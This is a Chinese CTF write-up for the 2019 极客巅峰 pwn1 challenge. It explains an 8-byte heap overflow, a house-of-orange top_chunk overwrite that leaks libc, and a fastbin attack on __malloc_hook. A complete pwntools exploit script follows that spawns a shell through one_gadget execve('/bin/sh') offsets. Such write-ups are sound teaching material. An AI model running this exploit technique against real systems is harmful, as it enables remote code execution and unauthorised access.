2019 极客巅峰 pwn1 write up
程序逻辑分析:
常规操作, 但是只能show和 delete一次note, 经过add操作后的note无编号, 所有操作都是针对ptr指向的chunk进行
漏洞点:
在edit内 可以造成8字节的溢出, 所以可以改写下一个chunk的size或改写top_chunk 的size
漏洞利用:
由于题目限制了show和delete的次数, 只能控制当前add的note的指针, 所以无法通过uaf 来获得一个进入unsortedbin中的chunk, 但是可以通过改写top_chunk的size来触发sys_malloc
1. 如果top_chunk 的size小于需要创建的chunk的size, 则会使用sysmalloc分配新的内存区域, 如果申请大小>=mp_.mmap_threshold(128 * 1024) 则会使用mmap分配一块内存, 否则会拓展当前的top_chunk
目的是拓展top_chunk, 所以分配的大小要小于mp_.mmap-threshold
2.为了使旧top_chunk进入unsortedbin中,需要调用sysmalloc中的_int_free 函数, _int_free 函数会把旧的top_chunk free掉,然后设置新的top_chunk, 为此需要绕过两个assert检查
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
绕过条件:
伪造的top_chunk的size需要满足
1.大于MINSIZE(0X10)
2.prev_inuse 标志位置位1
3.小于need size + MINSIZE(需要分配的chunk的size
4.old_top + old_size 必须满足页面对齐(这里不懂…
前三个条件容易满足, 第四个条件 假如原top_chunk
的size为0x20f91, 那么伪造的top_chunk的size设置为0xf91即可满足条件(不知道为什么, 先照着做
3. 伪造完top_chunk的size后再分配一个大小合适chunk, 这是old top_chunk就进入了unsortedibn中, 这时就可以泄露libc地址了
4.泄露完libc地址之后就是常规的fastbin attack了
EXP:
from pwn import *
import struct
context(arch='amd64', os='linux', log_level='debug')
debug = 1
d = 0
if debug == 0:
p = process("./i_pwn")
if d == 1:
gdb.attach(p)
else:
p = remote("55fca716.gamectf.com", 37009)
def add(size, content = ""):
p.sendlineafter("Your choice > ", str(1))
p.sendlineafter("Size > ", str(size))
p.sendlineafter("Content >", content)
def show():
p.sendlineafter("Your choice > ", str(2))
def delete():
p.sendlineafter("Your choice > ", str(3))
def edit(size, content):
p.sendlineafter("Your choice > ", str(4))
p.sendlineafter("Size > ", str(size))
p.sendafter("Content >", content)
p.sendlineafter("What's your name?", "cx")
add(0x68)
edit(0x70, 'a'*0x68 + p64(0xf91))
add(0x1000)
add(0x68, 'a'*7)
show()
p.recvuntil('a'*7 + '\n')
leak = p.recvline()[:6]
print "leak-> " + leak
libc_addr = struct.unpack("<Q", leak.ljust(8, '\x00'))[0]
print "libc_addr-> " + hex(libc_addr)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
libc_base = libc_addr - (0x7f32b6967188 - 0x7f32b65a2000)
print "libc_base-> " + hex(libc_base)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
realloc = libc_base + libc.symbols['__libc_realloc']
one_gadget = libc_base + 0x4526a
print "malloc_hook-> " + hex(malloc_hook)
print "realloc_> " + hex(realloc)
print "one_gadget-> " + hex(one_gadget)
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
delete()
edit(0x68, p64(malloc_hook - 0x23))
#raw_input()
add(0x68)
add(0x68)
payload = 'a'*(0x13 - 0x8) + p64(one_gadget) + p64(realloc+12)
edit(len(payload), payload)
#raw_input()
p.sendlineafter("Your choice > ", str(1))
p.sendlineafter("Size > ", str(10))
p.interactive()
house of orange资料链接
house of orange
堆溢出-house of orange 学习笔记
Pwning My life Hitcon -house of orange